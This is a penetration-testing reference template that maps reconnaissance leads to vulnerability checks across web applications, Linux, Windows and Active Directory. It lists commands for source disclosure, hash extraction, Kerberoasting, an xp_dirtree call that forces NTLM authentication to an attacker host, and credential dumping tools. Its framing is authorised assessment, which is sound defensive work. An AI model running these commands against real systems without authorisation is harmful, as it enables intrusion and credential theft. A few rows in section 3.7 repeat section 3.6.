

Vulnerability Discovery Methodology

Penetration Testing Reference Template

Table of Contents

1. PURPOSE	2
2. ANALYSIS CYCLE	2
3. EXTERNAL VULNERABILITY DISCOVERY	3
3.1. SERVICE VERSION AND CVE RESEARCH	3
3.2. WEB APPLICATION VULNERABILITIES	3
3.3. CMS AND APPLICATION PLATFORM VULNERABILITIES	4
3.4. FILE AND PATH ANALYSIS.....	4
3.5. CREDENTIAL AND HASH ANALYSIS	4
3.6. DATABASE SERVICES	5
3.7. SOURCE CODE, PROXY, AND WRITABLE WEB SURFACE.....	5
4. INTERNAL VULNERABILITY DISCOVERY — LINUX	6
4.1 AUTOMATED ENUMERATION	6
4.2 SUDO AND SUID / CAPABILITY ANALYSIS.....	6
4.3 CRON AND SCHEDULED JOB ANALYSIS.....	7
4.4 WRITABLE PATHS AND FILE PERMISSION ISSUES	7
5. INTERNAL VULNERABILITY DISCOVERY — WINDOWS	7
5.1 AUTOMATED ENUMERATION	7
5.2 SERVICE AND BINARY VULNERABILITIES	7
5.3 TOKEN PRIVILEGES AND USER RIGHTS.....	8
5.4 STORED CREDENTIALS AND SENSITIVE REGISTRY	8
5.5 KERNEL AND OS VERSION VULNERABILITIES	8
6. INTERNAL VULNERABILITY DISCOVERY — ACTIVE DIRECTORY	9
6.1 BLOODHOUND PATH ANALYSIS	9
6.2 KERBEROASTING AND AS-REP ROASTING.....	9
6.3 MSSQL ATTACK SURFACE.....	9
6.4 SMB RELAY CONDITIONS	10
6.5 GMSA AND PRE-WINDOWS 2000 ACCOUNTS	10
6.6 LOCAL PRIVILEGE IN AD CONTEXT	10
7. FALSE-POSITIVE CHECKS AND TRANSITION CRITERIA.....	11

1. Purpose

Vulnerability discovery converts reconnaissance output into validated findings. The objective is to confirm a real weakness exists, characterise the affected condition, and determine whether the finding should proceed to exploitation and PoC.

This phase is analytical, not exploit-driven. A version match, exposed file, misconfigured permission, or BloodHound path is a hypothesis until supporting evidence confirms the weakness. Like reconnaissance, this phase is split into External (pre-foothold) and Internal (post-foothold: Linux, Windows, and Active Directory).

2. Analysis Cycle

For each lead from reconnaissance:

- Identify the recon signal (version, file, behaviour, AD path, service feature)
- Form a hypothesis about the weakness
- Confirm the affected condition (exact version, route, role, config, permission)
- Establish baseline behaviour before changing inputs
- Test one variable at a time using the safest method
- Record evidence and rule out false positives
- Assess impact: who can trigger it, what is exposed or changed
- Decide: move to PoC, hold for more evidence, or discard

Recon Signal	Hypothesis to Test
Product version	Known CVE or insecure default for that version and configuration
Login page / admin panel	Weak authentication, default credentials, broken reset flow, or role boundary
File upload / import feature	Unsafe extension, MIME, storage path, retrieval, parsing, or execution
Readable share or exposed file or .git share	Credentials, source code, internal paths, or config data
API route or object ID	Overtrusted input, horizontal/vertical access control, or mass assignment
MSSQL with linked servers	Linked-server traversal, impersonation, command execution capability
AD ACL, group, or SPN	Privilege escalation or lateral movement through identity relationships
Local service, cron, or SUID	Misconfigured execution path leading to elevated context

3. External Vulnerability Discovery

3.1. Service Version and CVE Research

Command	Purpose
searchsploit <product> <version>	Search local Exploit-DB for matching entries
searchsploit -x <id>	Read exploit details before copying
searchsploit -m <id>	Copy exploits for local review if conditions match
nmap --script vuln -p <port> <target>	Run Nmap vuln scripts as supporting signal, not proof
GitHub: <product> CVE <year>	Search for PoC code; verify conditions match before use

A version match alone is not a vulnerability confirmation. Verify: exact product, version range, required component (plugin, route, config option), platform, and authentication state. Record mismatches as checked false leads.

3.2. Web Application Vulnerabilities

Weakness	Analysis Focus
SQL Injection	Database error messages, boolean response differences, timing differences; query-like parameters; use Burp Repeater for manual testing
Command Injection	Parameters passed to shell commands, converters, ping/traceroute, file processors; test with harmless command (whoami, hostname) first
Path Traversal / LFI	File or include parameters; PHP wrappers (php://filter); normalisation; test with a safe known file first
File Upload	Accepted extension vs stored extension; MIME validation; storage path; retrieval path; server-side processing (conversion, preview, parsing)
SSRF	URL fetch features, webhooks, import-by-URL, PDF/image renderers; test reachability with a controlled callback
IDOR / Access Control	Object IDs, slugs, route names; compare authenticated vs unauthenticated and low vs high privilege responses
Mass Assignment	Unexpected fields in POST/PUT body; role-changing or state-changing field names; compare request before and after
Auth / Session Issues	Reset flow logic, token reuse, missing logout, cookie flags (Secure, HttpOnly, SameSite), session fixation
XSS	Input reflection location, output encoding context, stored vs reflected, CSP header presence
Source Code Exposure	Exposed Git history, config files, removed secrets, routes, framework version, and database connection details.
Proxy Trust / Internal Exposure	Proxy-only access to local ports, trusted-client headers, and differences between direct and proxied responses.
WebDAV / Writable Web Root	PUT capability, script extension handling, path predictability, authentication requirement, and execution context.

Command	Purpose
curl -i <url>	Raw HTTP response with headers
curl 'http://<target>/index.php?file=php://filter/convert.base64-encode/resource=index'	PHP source disclosure via filter wrapper
sqlmap -r <req-file> --batch sqlmap -u <target-url> --batch	SQL injection validation with saved request or the target URL
nikto -h <target>	Web server quick check
ffuf -u http://<target>?FUZZ=x -w params.txt -mc all	Parameter fuzzing for hidden inputs

3.3. CMS and Application Platform Vulnerabilities

Platform	Checks
WordPress	wpscan --url <target> -e at,ap,u --disable-tls-checks; check plugin/theme versions against CVE DB
Joomla / Drupal	Version fingerprint from /administrator, README, or HTTP headers; search CVE for version
Custom CMS	Version from headers, source, or error pages; function-specific CVE search
Web frameworks (Flask, Laravel, etc.)	Debug mode enabled? Known version CVEs? Deserialisation endpoints?

3.4. File and Path Analysis

Signal	Question to Answer
Upload accepted	Where is the file stored? Can it be retrieved? Is retrieval path predictable?
Preview or conversion feature	Does server-side processing (ImageMagick, pandoc, LibreOffice) create a read/write/exec path?
LFI or include parameter	Can a safe file be read through a wrapper or traversal path?
Archive (zip/tar) upload	Does extraction follow symlinks or absolute paths? (zip slip / tar slip)
Backup or source file exposed	Does it contain credentials, internal routes, or framework details?

3.5. Credential and Hash Analysis

Item	Analysis Focus / Purpose
Cleartext password	Source, owner, service context, reuse potential, and where validation is appropriate.
Hash (MD5, SHA, bcrypt, NTLM)	Hash type identification, intended cracking mode, and authorisation for offline analysis.
SSH private key	Owner, accepted host, passphrase requirement, and ssh2john path if passphrase testing is authorised.

Keepass / encrypted file	File source, owner, keepass2john extraction, and cracking authorisation.
API key / token	Scope, expiry, service, and target-specific validation only.
hash-identifier <hash>	Identify likely hash type before choosing a cracking mode.
hashcat --help grep -i <type>	Find the relevant hashcat mode.
ssh2john <key> > hash.txt	Prepare an SSH key for passphrase analysis.
keepass2john <file> > hash.txt	Prepare a KeePass file for offline analysis.

3.6. Database Services

Check	Focus
Unauthenticated / default-credential access	Anonymous bind, root with blank password, default sa/admin
Visible databases and tables	Scope of data exposure; sensitivity of table content
MSSQL xp_cmdshell enabled	SELECT * FROM sys.configurations WHERE name='xp_cmdshell'; indicates OS command execution path
MSSQL linked servers	EXEC sp_linkedservers; traversal path to other DB hosts
MSSQL impersonation	enum_impersonate in mssqlclient; EXECUTE AS LOGIN = '<user>'
Stored credentials in DB tables	User tables with password fields; hash type and cracking potential
SQL files write to web root	INTO OUTFILE or equivalent may turn database write permission into web-accessible code execution.
PostgreSQL COPY PROGRAM	Superuser-like PostgreSQL permission may execute operating system commands.

3.7. Source Code, Proxy, and Writable Web Surface

Several external findings come from features that expose an application indirectly rather than through a normal page. Treat source leaks, proxy-only routes, writable web roots, and WebDAV access as separate hypotheses because each one changes what can be analysed next.

Signal	Analysis Focus
.git or source repository exposed	Recover commit history safely, review removed secrets, identify framework routes, database credentials, and hidden internal services.
Proxy or internal-only web service	Confirm whether the proxy reaches ports that direct browsing cannot reach; compare direct and proxied responses before assuming exposure.
WebDAV or writable web directory	Check whether authenticated write access allows harmless file placement, retrieval, script execution, or extension-specific handling
Database-backed web root writes	Determine whether SQL permissions allow INTO OUTFILE or similar file-write primitives into a served directory.
Header-dependent access	Validate whether headers such as X-Forwarded-For alter access control, routing, or trusted-client behaviour.

Stored credentials in DB tables	User tables with password fields; hash type and cracking potential
SQL files write to web root	INTO OUTFILE or equivalent may turn database write permission into web-accessible code execution.
PostgreSQL COPY PROGRAM	Superuser-like PostgreSQL permission may execute operating system commands.

Command	Purpose
python3 git_dumper.py http://<target>/.git/ <output-dir>	Recover an exposed Git repository for authorised source review
git log && git show <commit>	Review commit history for removed credentials, routes, or configuration changes.
curl -i <url> --proxy http://<proxy-host>:<port>	Compare proxied HTTP behaviour against direct access.
gobuster dir -u http://<target>:<port>/ -w <wordlist> --proxy http://<proxy-host>:<port>	Discover content reachable only through an HTTP proxy.
cadaver http://<target>/	Validate WebDAV authentication and safe write capability.

4. Internal Vulnerability Discovery — Linux

4.1 Automated Enumeration

Tool	Purpose
linpeas.sh	Comprehensive automated privilege escalation enumeration
pspy64 -pf -i 1000	Process and cron monitoring without root
linux-exploit-suggester.sh	Kernel CVE suggestions based on uname output

Use automated tools as a signal source, not a conclusion. Review output manually and validate each lead independently.

4.2 Sudo and SUID / Capability Analysis

Finding or Command	Analysis / Purpose
sudo <binary> allowed	Check GTFOBins for abuse path; assess whether the binary executes subcommands or reads files.
sudo <script> allowed	Check script content for writable imports, library paths, argument injection, and pycache poisoning.
SUID binary (non-standard)	Check GTFOBins; assess version for known CVEs; test with controlled input.
cap_setuid / cap_dac_read_search	File capabilities can allow privilege bypass without SUID; check GTFOBins.
Python / Ruby / Perl SUID or sudo	Language interpreters with elevated context are direct privilege-escalation paths.
sudo -l	List allowed sudo commands as the first local privilege check.
find / -perm -4000 -type f 2>/dev/null	Find SUID binaries.
getcap -r / 2>/dev/null	Find file capabilities.

4.3 Cron and Scheduled Job Analysis

Check	Question
World-writable script in cron	Can the script content be replaced or appended?
Writable directory in cron PATH	Can a malicious binary be placed earlier in PATH?
Script importing from relative path	Can a library or module be injected (e.g. Python pycache)?
Cron running as root with wildcard (tar/rsync/7za)	Wildcard injection possible?
Backup process with password in argv (pspy)	Credential visible in process list?

4.4 Writable Paths and File Permission Issues

Check	Command
World-writable directories	<code>find / -writable -type d 2>/dev/null grep -v proc</code>
Writable files in application paths	<code>find /opt /srv /var/www /usr/local -writable -type f 2>/dev/null</code>
Writable Python library paths	<code>find \$(python3 -c 'import sys; print(" ".join(sys.path))') -writable 2>/dev/null</code>
NFS no_root_squash	<code>cat /etc/exports</code> — no_root_squash allows root file creation from external
Docker group membership	<code>id grep docker</code> — docker group is equivalent to root

5. Internal Vulnerability Discovery — Windows

5.1 Automated Enumeration

Tool	Purpose
winpeas.exe	Comprehensive automated privilege escalation enumeration
PowerUp.ps1	PowerShell-focused service and privilege checks
Seatbelt.exe	Security configuration and token privilege audit

5.2 Service and Binary Vulnerabilities

Check	Command / Analysis
Modifiable service binary	Get-ModifiableServiceFile (PowerUp) — replace binary to execute as service user
Unquoted service path	Get-UnquotedService (PowerUp) — place binary in unquoted path component
Writable service binary directly	<code>icacls <service-binary-path></code> — check for write permission to current user
DLL hijack opportunity	Service loading DLLs from writable directory or missing DLL in PATH
Weak service DACL	<code>sc sdshow <service></code> — can current user modify service config?

5.3 Token Privileges and User Rights

Privilege or Command	Analysis / Purpose
SeImpersonatePrivilege	Potato-family path such as PrintSpoofer, GodPotato, JuicyPotato, or SigmaPotato where conditions match.
SeAssignPrimaryTokenPrivilege	Token assignment and related Potato-style exploit paths.
SeBackupPrivilege	Read protected files such as SAM, SYSTEM, or NTDS through an authorised registry/offline dump path.
SeRestorePrivilege	Write protected files; validate with a controlled, reversible file-write proof.
SeTakeOwnershipPrivilege	Take ownership of files or registry keys where that proves impact.
SeDebugPrivilege	Debug or inject into SYSTEM-level processes only where required and authorised.
whoami /priv	Full privilege listing.
whoami /all	User, groups, integrity level, and privileges combined.

5.4 Stored Credentials and Sensitive Registry

Location	Command
Windows Credential Manager	cmdkey /list
AutoLogon registry	reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
GPP (Group Policy Preferences) passwords	Search SYSVOL for Groups.xml; impacket-Get-GPPPassword
PowerShell history	(Get-PSReadlineOption).HistorySavePath
IIS app configs (web.config)	Get-ChildItem -Path C:\inetpub -Include web.config -Recurse
Application config files	Get-ChildItem -Path C:\ -Include *.config,*.ini,*.env -Recurse

5.5 Kernel and OS Version Vulnerabilities

Cross-reference systeminfo output (OS Version, Build Number) with known Windows kernel exploits. Notable examples:

CVE	Affected Build Range	Notes
CVE-2024-30088	Windows Server 2022 (20348)	Kernel privilege escalation
PrintNightmare (CVE-2021-34527)	Multiple pre-patch builds	Spooler service
CVE-2023-21746 / HiveNightmare	Windows 10/11 pre-patch	SAM file read without admin

6. Internal Vulnerability Discovery — Active Directory

6.1 BloodHound Path Analysis

After BloodHound collection, prioritise these path types:

Path Type	What to Validate
ForceChangePassword	Source account, target account, existing access, rollback requirement
GenericAll / GenericWrite	Object type (user, group, computer, GPO); what actions it permits
WriteDACL / WriteOwner	Can a new ACE be written to grant additional rights?
WriteSPN / AddKeyCredentialLink	SPN injection for Kerberoasting; Shadow Credentials for PKINIT auth
Constrained delegation	Target SPN, allowed impersonation scope, prerequisite account
Unconstrained delegation	Host holds TGT of any authenticating user — coerce DC auth for DCSync path
AddMember to privileged group	Does the source account have rights to add to Domain Admins or similar?
RBCD path	Can a computer account be created or controlled to gain delegation to target?

6.2 Kerberoasting and AS-REP Roasting

Attack or Command	Conditions / Purpose
Kerberoasting	SPN-assigned service account; assess account privilege, request TGS, and analyse crackability.
AS-REP Roasting	Account has Do Not Require Kerberos Preauthentication set; request AS-REP hash only when condition is confirmed.
impacket-GetUserSPNs -request -dc-ip <dc> <domain>/<user>:<pass>	Request Kerberoastable TGS hashes.
impacket-GetNPUsers -dc-ip <dc> -request <domain>/<user>	Request AS-REP hashes.
Get-DomainUser -PreauthNotRequired (PowerView)	Find AS-REP roastable accounts from a domain host.

6.3 MSSQL Attack Surface

Finding	Analysis
Linked servers	Linked server may run queries under a different security context (often SA)
User impersonation (EXECUTE AS)	enum_impersonate in mssqlclient; can current login impersonate a higher-privilege login?
xp_cmdshell enabled	Direct OS command execution; check if disabled but re-enabling is permitted
UNC path coercion (xp_dirtree)	EXEC xp_dirtree '\\<attacker>\x' — forces NTLM auth to attacker; capture with Responder
Credential exposure in DB tables	Application user tables, stored config tables, backup tables

6.4 SMB Relay Conditions

Condition	Check
SMB signing disabled on target	<code>nxc smb <subnet>/24 -- signing:False</code> in output
Authentication source (coerce-able)	Printerbug, PetitPotam, Coercer — machine account auth that can be relayed
Relay target access	What does the relayed credential grant? Shell, LDAP write, DCSync?
LDAP signing / channel binding	If relay target is DC, check ldap signing and channel binding config

6.5 gMSA and Pre-Windows 2000 Accounts

Account Type	Analysis
gMSA (Group Managed Service Account)	Who is in <code>msDS-GroupMSAMembership</code> ? Members can read the password hash — use <code>gMSADumper.py</code>
Pre-Windows 2000 compatible access	Computer accounts created via pre-Win2000 process have predictable password (lowercase hostname); <code>PREWIN2KACCESS</code> group grants broad read access
dMSA / BadSuccessor (CVE-2025-29810 area)	If IT group has <code>CreateChild</code> on an OU, a delegated MSA can be created and linked to a high-privilege account

6.6 Local Privilege in AD Context

Check	Notes
Local admin on any domain-joined host	Lateral movement starting point; run <code>secretsdump</code> or <code>Mimikatz</code>
<code>SeImpersonatePrivilege</code> on domain service account	Potato exploit path; assess impact in domain context
Writable service on domain host	Service replacement may run as domain service account
WinRM / RDP access with captured hash	Pass-the-hash for lateral movement within domain

7. False-Positive Checks and Transition Criteria

Check	Rationale
Reproduce from a clean state	Confirms finding is not session-dependent or cached
Compare low-privilege vs expected-denied behaviour	Separates misconfiguration from intended design
Verify version across multiple sources	Banner, headers, source code, login page, error pages
Check required conditions (auth, config option, plugin)	CVE may not apply without a specific configuration state
Separate information disclosure from access	Disclosure finding vs access finding have different impact ratings

A finding moves to exploitation and PoC when: the affected condition is confirmed, behaviour supports the hypothesis, obvious false positives are ruled out, the impact is specific, and the next PoC step is minimal and authorised.